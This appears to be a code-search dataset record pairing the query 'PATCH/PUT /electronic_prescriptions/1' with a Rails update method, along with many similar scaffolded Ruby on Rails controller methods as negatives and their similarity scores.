"def create\n\n @prenotation = Prenotation.new(params[:prenotation].except(\"date(1i)\", \"date(2i)\", \"date(3i)\",\"date(4i)\", \"date(5i)\"))\n @prenotation.date = DateTime.new(params[:prenotation][\"date(1i)\"].to_i,\n params[:prenotation][\"date(2i)\"].to_i,\n params[:prenotation][\"date(3i)\"].to_i,\n params[:prenotation][\"date(4i)\"].to_i,\n params[:prenotation][\"date(5i)\"].to_i)\n if @prenotation.valid?\n # TODO send message here\n UserMailer.sendPrenotation(@prenotation).deliver\n UserMailer.sendPrenotationNotification(@prenotation).deliver\n flash[:notice] = \"La prenotazione è andata a buon fine!\"\n redirect_to prenotations_path\n else\n render :action => 'new'\n end\n # respond_to do |format|\n # if @prenotation.save\n # format.html { redirect_to @prenotation, notice: 'Prenotation was successfully created.' }\n # format.json { render json: @prenotation, status: :created, location: @prenotation }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @prenotation.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def set_prescription\n @prescription = Prescription.find(params[:id])\n @visit = @prescription.visit\n @patient = @prescription.patient\n end",
"def create\n @electronic_approval = ElectronicApproval.new(params[:electronic_approval])\n\n respond_to do |format|\n if @electronic_approval.save\n format.html { redirect_to @electronic_approval, notice: 'Electronic approval was successfully created.' }\n format.json { render json: @electronic_approval, status: :created, location: @electronic_approval }\n else\n format.html { render action: \"new\" }\n format.json { render json: @electronic_approval.errors, status: :unprocessable_entity }\n end\n end\n end",
"def preproduct_params\n params.require(:preproduct).permit(:name, :price, :description, :availibility, :picture)\n end",
"def create\n @unsubscription = Unsubscription.new(unsubscription_params)\n is_specific = @unsubscription.reason_specific\n respond_to do |format|\n if @unsubscription.save\n if is_specific\n @unsubscription.choices.last.specific = true\n @unsubscription.save\n format.html { redirect_to limit_right_confirmation_requests_path(user_id: params[:user_id]) }\n else\n flash[:success] = \"Le traitement a bien été créé!\"\n format.html { redirect_to @unsubscription }\n format.json { render :show, status: :created, location: @unsubscription }\n end\n else\n format.html { render :new }\n format.json { render json: @unsubscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase_receipt = PurchaseReceipt.new(params[:purchase_receipt])\n\n respond_to do |format|\n if @purchase_receipt.save\n format.html { redirect_to @purchase_receipt, notice: 'Purchase receipt was successfully created.' }\n format.json { render json: @purchase_receipt, status: :created, location: @purchase_receipt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_receipt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prescribtion_detail = PrescribtionDetail.new(prescribtion_detail_params)\n\n respond_to do |format|\n if @prescribtion_detail.save\n format.html { redirect_to @prescribtion_detail, notice: 'Prescribtion detail was successfully created.' }\n format.json { render :show, status: :created, location: @prescribtion_detail }\n else\n format.html { render :new }\n format.json { render json: @prescribtion_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @enrollment = Enrollment.new(properties_data: enrollment_properties_params)\n #debugger\n #@enrollment = Enrollment.new()\n #render json: request.raw_post(), status: :created\n\n if @enrollment.save\n render json: {:reference_number => @enrollment.reference_number}, status: :created\n else\n render json: @enrollment.errors, status: :unprocessable_entity\n end\n end",
"def create\n @encuestum = Encuestum.new(params[:encuestum])\n\n respond_to do |format|\n if @encuestum.save\n format.html { redirect_to @encuestum, notice: 'Encuestum was successfully created.' }\n format.json { render json: @encuestum, status: :created, location: @encuestum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @encuestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @provincium = Provincium.new(provincium_params)\n\n respond_to do |format|\n if @provincium.save\n format.html { redirect_to @provincium, notice: 'Provincium was successfully created.' }\n format.json { render :show, status: :created, location: @provincium }\n else\n format.html { render :new }\n format.json { render json: @provincium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.nil?\n redirect_to(log_in_path) and return\n end\n\n @cuaderno_control_revision = CuadernoControlRevision.new(params[:cuaderno_control_revision])\n \n respond_to do |format|\n if @cuaderno_control_revision.save\n format.html { redirect_to [@cuaderno_control_revision], notice: 'Revision agregada.' }\n format.json { render json: [@cuaderno_control_revision], status: :created, location: @cuaderno_control_revision }\n else\n format.html { render action: \"new\", alert: \"Revision no fue agregada.\" }\n format.json { render json: @cuaderno_control_revision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prework_module = PreworkModule.new(params[:prework_module])\n\n respond_to do |format|\n if @prework_module.save\n format.html { redirect_to prework_path, notice: 'Prework module was successfully created.' }\n format.json { render json: @prework_module, status: :created, location: @prework_module }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prework_module.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @precious_metal = PreciousMetal.new(params[:precious_metal])\n\n respond_to do |format|\n if @precious_metal.save\n format.html { redirect_to @precious_metal, :notice => 'Precious metal was successfully created.' }\n format.json { render :json => @precious_metal, :status => :created, :location => @precious_metal }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @precious_metal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @event_subscription = EventSubscription.new(event_subscription_params)\n @event_subscription[:approved] = @event_subscription.user_requirements_status\n if @event_subscription.save && !@event_subscription[:approved]\n file_params.each do |requirement|\n if(requirement[\"doc\"])\n requirement.symbolize_keys\n requirement[:doc].symbolize_keys\n path = \"data:#{requirement[:doc][:filetype]};base64, #{requirement[:doc][:base64]}\"\n Document.create(user_id: @event_subscription.user_id,\n requirement_id: requirement[:id],\n state: \"pending_review\",\n path: path\n )\n end\n end\n\n render json: @event_subscription, status: :created, location: @event_subscription\n else\n render json: @event_subscription.errors, status: :unprocessable_entity\n end\n end",
"def create\n @requisition = Requisition.new(params[:requisition])\n\n respond_to do |format|\n if @requisition.save\n format.html {redirect_to root_url, notice: 'Requisition was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @vendor_subscription = VendorSubscription.new(vendor_subscription_params)\n\n respond_to do |format|\n if @vendor_subscription.save\n format.html { redirect_to @vendor_subscription, notice: 'Vendor subscription was successfully created.' }\n format.json { render :show, status: :created, location: @vendor_subscription }\n else\n format.html { render :new }\n format.json { render json: @vendor_subscription.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6454775",
"0.6200591",
"0.61784387",
"0.57580733",
"0.57375103",
"0.56991684",
"0.5672648",
"0.56177115",
"0.56099194",
"0.55871487",
"0.5541126",
"0.55156654",
"0.5419449",
"0.5417522",
"0.5398359",
"0.5385897",
"0.53522325",
"0.53424793",
"0.5315568",
"0.5310835",
"0.5305863",
"0.5297356",
"0.5284739",
"0.527099",
"0.52608943",
"0.5257403",
"0.52543974",
"0.52528554",
"0.5246096",
"0.52333575",
"0.5227095",
"0.5224012",
"0.5217766",
"0.52123797",
"0.5194098",
"0.5192575",
"0.5190299",
"0.5185257",
"0.518125",
"0.5161655",
"0.51470524",
"0.5144711",
"0.51353407",
"0.5131611",
"0.5131611",
"0.5131611",
"0.5131611",
"0.5129574",
"0.5128067",
"0.51275533",
"0.5124151",
"0.511832",
"0.51093763",
"0.5085299",
"0.50835985",
"0.508085",
"0.5075859",
"0.50666964",
"0.50630844",
"0.5057822",
"0.50539935",
"0.5052475",
"0.5051729",
"0.5051671",
"0.5046306",
"0.5029327",
"0.5029308",
"0.50193125",
"0.50170344",
"0.5015093",
"0.5014369",
"0.49996388",
"0.4981075",
"0.4980851",
"0.4978793",
"0.49776107",
"0.49743614",
"0.4973204",
"0.49721515",
"0.49706265",
"0.49673107",
"0.49645293",
"0.4964312",
"0.49616355",
"0.49606198",
"0.4957159",
"0.49536437",
"0.4941563",
"0.49395183",
"0.49368376",
"0.4935459",
"0.49319237",
"0.49300462",
"0.4923378",
"0.4923148",
"0.49191958",
"0.4915104",
"0.49133563",
"0.4905017",
"0.49030888"
] |
0.6846904
|
0
|
PATCH/PUT /electronic_prescriptions/1 PATCH/PUT /electronic_prescriptions/1.json
|
def update
electronic_prescription_params[:status] = electronic_prescription_params[:status].to_i
respond_to do |format|
if @electronic_prescription.update(electronic_prescription_params)
format.html { redirect_to @electronic_prescription, notice: 'Electronic prescription was successfully updated.' }
format.json { render :show, status: :ok, location: @electronic_prescription }
else
format.html { render :edit }
format.json { render json: @electronic_prescription.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_electronic_prescription\n @electronic_prescription = ElectronicPrescription.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @prescription.update(prescription_params)\n format.html { redirect_to @prescription, notice: 'Prescription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @preorder = Preorder.find(params[:id])\n\n respond_to do |format|\n if @preorder.update_attributes(params[:preorder])\n format.html { redirect_to @preorder, notice: 'Preorder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preorder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @electronic.update(electronic_params)\n format.html { redirect_to @electronic, notice: 'Electronic was successfully updated.' }\n format.json { render :show, status: :ok, location: @electronic }\n else\n format.html { render :edit }\n format.json { render json: @electronic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, :notice => 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, notice: 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pre_payment_req.update(pre_payment_req_params)\n format.html { redirect_to @pre_payment_req, notice: 'Pre payment req was successfully updated.' }\n format.json { render :show, status: :ok, location: @pre_payment_req }\n else\n format.html { render :edit }\n format.json { render json: @pre_payment_req.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @precioproducto = Precioproducto.find(params[:id])\n\n respond_to do |format|\n if @precioproducto.update_attributes(params[:precioproducto])\n format.html { redirect_to @precioproducto, notice: 'Precioproducto was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @precioproducto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @serial_chronology.update(serial_chronology_params)\n format.html { redirect_to :back, notice: 'Serial chronology was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to :back, notice: 'Serial chronology was NOT successfully updated.' }\n format.json { render json: @serial_chronology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pre = Pre.find(params[:id])\n\n respond_to do |format|\n if @pre.update_attributes(params[:pre])\n format.html { redirect_to @pre, notice: 'Pre was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @presponsable.update(presponsable_params)\n format.html { redirect_to @presponsable, notice: 'Presponsable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @presponsable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @plate = Plate.find(params[:id])\n\n if @plate.update(params[:plate])\n head :no_content\n else\n render json: @plate.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @preproduct.update(preproduct_params)\n format.html { redirect_to @preproduct, notice: 'Preproduct was successfully updated.' }\n format.json { render :show, status: :ok, location: @preproduct }\n else\n format.html { render :edit }\n format.json { render json: @preproduct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invoice = Invoice.find(params[:id])\n @invoice.year = Date.today.year\n\n @invoice.client_id = params[:clients]\n @invoice.discount_id = params[:discount_id]\n @invoice.tax_id = params[:tax_id]\n\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prescription.update(prescription_params)\n format.html { redirect_to @patient, notice: 'Prescription was successfully updated.' }\n format.json { render :show, status: :ok, location: @prescription }\n else\n format.html { render :edit }\n format.json { render json: @prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @premio_manual.update(premio_manual_params)\n format.html { redirect_to @premio_manual, notice: 'El premio de actualizo correctamente.' }\n format.json { render :show, status: :ok, location: @premio_manual }\n else\n format.html { render :edit }\n format.json { render json: @premio_manual.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @controlpreat.update(controlpreat_params)\n format.html { redirect_to @controlpreat, notice: 'Controlpreat was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlpreat }\n else\n format.html { render :edit }\n format.json { render json: @controlpreat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n @preceed = Preceed.find(params[:id])\n\n respond_to do |format|\n if @preceed.update_attributes(params[:preceed])\n format.html { redirect_to @preceed, notice: 'Preceed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @requisition = Requisition.find(params[:id])\n\n respond_to do |format|\n if @requisition.update_attributes(params[:requisition])\n format.html { redirect_to @requisition, notice: 'Requisition was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n\n respond_to do |format|\n if @instrument_version.update_attributes(params[:instrument_version])\n flash[:notice] = 'InstrumentVersion was successfully updated.'\n format.html { redirect_to(@instrument_version) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @instrument_version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to(@premio, :notice => 'Premio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n if @productonegocio.update_attributes(params[:productonegocio])\n format.html { redirect_to @productonegocio, notice: 'Productonegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @productonegocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def patch!\n request! :patch\n end",
"def update\n @electronic_approval = ElectronicApproval.find(params[:id])\n\n respond_to do |format|\n if @electronic_approval.update_attributes(params[:electronic_approval])\n format.html { redirect_to @electronic_approval, notice: 'Electronic approval was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @electronic_approval.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @remixer.update(remixer_params)\n format.html { redirect_to @remixer, notice: 'Remixer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @remixer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prestation.update(prestation_params)\n format.html { redirect_to prestations_path, notice: 'Prestation was successfully updated.' }\n format.json { render :show, status: :ok, location: @prestation }\n else\n format.html { render :edit }\n format.json { render json: @prestation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prescription_detail.update(prescription_detail_params)\n format.html { redirect_to @prescription_detail, notice: 'Prescription detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @prescription_detail }\n else\n format.html { render :edit }\n format.json { render json: @prescription_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @chronicle = Chronicle.find(params[:id])\n\n respond_to do |format|\n if @chronicle.update_attributes(params[:chronicle])\n format.html { redirect_to @chronicle, notice: 'Chronicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"def update\n respond_to do |format|\n if @pre_enrollment.update(pre_enrollment_params)\n format.html { redirect_to @pre_enrollment, notice: 'Pre enrollment was successfully updated.' }\n format.json { render :show, status: :ok, location: @pre_enrollment }\n else\n format.html { render :edit }\n format.json { render json: @pre_enrollment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pre_step = PreStep.find(params[:id])\n\n respond_to do |format|\n if @pre_step.update_attributes(params[:pre_step])\n format.html { redirect_to @pre_step, notice: 'Pre step was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pre_step.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_initiative_update\n @api_v1_initiative_update = Api::V1::InitiativeUpdate.find(params[:id])\n end",
"def update_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n\n respond_to do |format|\n if @entry_instrument.update_attributes(params[:entry_instrument])\n flash[:notice] = 'EntryInstrument was successfully updated.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @precious_metal = PreciousMetal.find(params[:id])\n\n respond_to do |format|\n if @precious_metal.update_attributes(params[:precious_metal])\n format.html { redirect_to @precious_metal, :notice => 'Precious metal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @precious_metal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \n @prescription=Prescription.where(id: @prescription_row.id_prescription).first\n respond_to do |format|\n if @prescription_row.update(prescription_row_params)\n format.html { redirect_to @prescription, notice: 'Prescription row was successfully updated.' }\n format.json { render :show, status: :ok, location: @prescription_row }\n else\n format.html { render :edit }\n format.json { render json: @prescription_row.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pregnancy.update(pregnancy_params)\n format.html { redirect_to @pregnancy, notice: 'Pregnancy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pregnancy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @event_subscription.update(event_subscription_params)\n @event_subscription.save\n\n file_params.each do |requirement|\n if(requirement[\"doc\"])\n requirement.symbolize_keys\n requirement[:doc].symbolize_keys\n path = \"data:#{requirement[:doc][:filetype]};base64, #{requirement[:doc][:base64]}\"\n Document.update(id: requirement[:doc][:id],\n user_id: @event_subscription.user_id,\n requirement_id: requirement[:id],\n state: \"pending_review\",\n path: path\n )\n end\n end\n render json: @event_subscription, status: :updated\n end",
"def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n\n # RhoConnect server\n server = \"http://127.0.0.1:9292\"\n login = \"rhoadmin\"\n password = \"\"\n\n # Login to the RhoConnect server\n res = RestClient.post(\"#{server}/login\", { :login => login, :password => password }.to_json, :content_type => :json)\n\n # Get the token from the login response\n token = RestClient.post(\"#{server}/api/get_api_token\", '', { :cookies => res.cookies })\n\n # Send a ping message, which triggers a ping on the device\n ping_params = {\n :api_token => token,\n :user_id => [\"bhanu\"], # user_id that this message is for\n :sources => [\"Product\"], # sources we want to sync when this message is received\n :vibrate => \"2\",\n :message => \"#{params[:product][:name]} has been updated\",\n :sound => ''\n }\n\n RestClient.post(\"#{server}/api/ping\", ping_params.to_json, :content_type => :json)\n\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_resource.update(api_v1_resource_params)\n format.html { redirect_to @api_v1_resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_resource }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @premise.update(premise_params)\n format.html { redirect_to @premise, notice: 'Premise was successfully updated.' }\n format.json { render :show, status: :ok, location: @premise }\n else\n format.html { render :edit }\n format.json { render json: @premise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @power_order.update(power_order_params)\n render json: @power_order\n end",
"def update\n set_associative_criteria @copon, params.require(:copon)\n get_product(@copon, params.require(:copon)[:product])\n respond_to do |format|\n if @copon.update(copon_params)\n format.html { redirect_to @copon, notice: 'Copon was successfully updated.' }\n format.json { render :show, status: :ok, location: @copon }\n else\n format.html { render :edit }\n format.json { render json: @copon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @squishee_cup = SquisheeCup.find(params[:id])\n puts params.to_json\n respond_to do |format|\n if @squishee_cup.update_attributes(params[:squishee_cup])\n format.html { redirect_to @squishee_cup, notice: 'Squishee cup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @squishee_cup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prevision.update(prevision_params)\n format.html { redirect_to @prevision, notice: 'Previsión actualizada correctamente.' }\n format.json { render :show, status: :ok, location: @prevision }\n else\n format.html { render :edit }\n format.json { render json: @prevision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end",
"def update\n @inscriptionprepaconcour = Inscriptionprepaconcour.find(params[:id])\n\n respond_to do |format|\n if @inscriptionprepaconcour.update_attributes(params[:inscriptionprepaconcour])\n format.html { redirect_to @inscriptionprepaconcour, notice: 'Inscriptionprepaconcour was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inscriptionprepaconcour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pre_contrato.update(pre_contrato_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pre_contrato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prestation_info.update(prestation_info_params)\n format.html { redirect_to new_prestation_path, notice: \"Prestation info was successfully updated.\" }\n format.json { render :show, status: :ok, location: @prestation_info }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @prestation_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @octopus.update(octopus_params)\n format.html { redirect_to octopi_path, notice: 'Octopus was successfully updated.' }\n format.json { render :show, status: :ok, location: @octopus }\n else\n format.html { render :edit }\n format.json { render json: @octopus.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n respond_to do |format|\n if @requisition.update_attributes(requisition_params) and @requisition.valid?\n ap requisition_params\n format.html { redirect_to @profile, notice: 'Tu solicitud fue actualizada' }\n format.json { render :show, status: :ok, location: @requisition }\n else\n format.html { render :edit }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chronicle.update(chronicle_params)\n format.html { redirect_to @chronicle, notice: t('flash_message.notice.successfully_updated', model: Chronicle.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @regular_chemical.update(regular_chemical_params)\n format.html { redirect_to mol_front_index_path, notice: 'Regular chemical was successfully updated.' }\n format.json { render :show, status: :ok, location: @regular_chemical }\n else\n format.html { render :edit }\n format.json { render json: @regular_chemical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @receipt.update(receipt_params)\n format.html { redirect_to @receipt, notice: 'Receipt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @formulary.update(formulary_params)\n format.html { redirect_to formularies_url, alert: I18n.t('activerecord.models.formulary') + I18n.t('helpers_locale.models.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @formulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @online_resource = OnlineResource.find(params[:id])\n\n respond_to do |format|\n if @online_resource.update_attributes(params.require(:online_resource).permit(:recording_note, :resource_type_id,\n :taken_on, :capture_device_model_id, :quality_type_id, :private_note, web_address_attributes: [:parent_resource_id, :url]))\n format.html { redirect_to @online_resource, :notice => 'Online resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @online_resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @chronic.update(chronic_params)\n format.html { redirect_to @chronic, notice: 'Chronic was successfully updated.' }\n format.json { render :show, status: :ok, location: @chronic }\n else\n format.html { render :edit }\n format.json { render json: @chronic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @autore = Autore.find(params[:id])\n\n respond_to do |format|\n if @autore.update_attributes(params[:autore])\n format.html { redirect_to @autore, notice: 'Autore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @autore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @users_prescription.update(users_prescription_params)\n format.html { redirect_to @users_prescription, notice: 'Users prescription was successfully updated.' }\n format.json { render :show, status: :ok, location: @users_prescription }\n else\n format.html { render :edit }\n format.json { render json: @users_prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end",
"def update\n logger.info('PUT Update:')\n logger.info(request_body)\n new_pub = hashed_request\n old_pub = Publication.find_by(id: params[:id])\n if old_pub.blank?\n head :not_found\n return\n elsif old_pub.deleted?\n head :gone\n return\n end\n if old_pub.harvested_pub? # only manually entered (i.e. non-harvested) publications may be updated with this method\n render json: {\n error: \"This record SulPubID #{old_pub.id} may not be modified. If you had originally entered details for the record, \" \\\n 'it has been superceded by a central record.'\n },\n status: :forbidden, format: 'json'\n return\n elsif !validate_or_create_authors(new_pub[:authorship])\n render json: { error: 'You have not supplied a valid authorship record.' }, status: :not_acceptable,\n format: 'json'\n return\n end\n logger.info(\"Update manual publication #{old_pub.inspect} with BibJSON:\")\n logger.info(request_body)\n old_pub.update_manual_pub_from_pub_hash(new_pub, request_body)\n old_pub.save!\n old_pub.reload\n logger.debug(\"resulting pub hash: #{old_pub.pub_hash}\")\n render json: old_pub.pub_hash, status: :accepted\n end",
"def update\n respond_to do |format|\n if @recipe.update(recipe_params)\n calculate_nutrients \n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @client_id = args[:client_id] if args.key?(:client_id)\n @recurrence = args[:recurrence] if args.key?(:recurrence)\n @recurrence_id = args[:recurrence_id] if args.key?(:recurrence_id)\n @server_id = args[:server_id] if args.key?(:server_id)\n end",
"def update\n @prepagada = Prepagada.find(params[:id])\n\n respond_to do |format|\n if @prepagada.update_attributes(params[:prepagada])\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end",
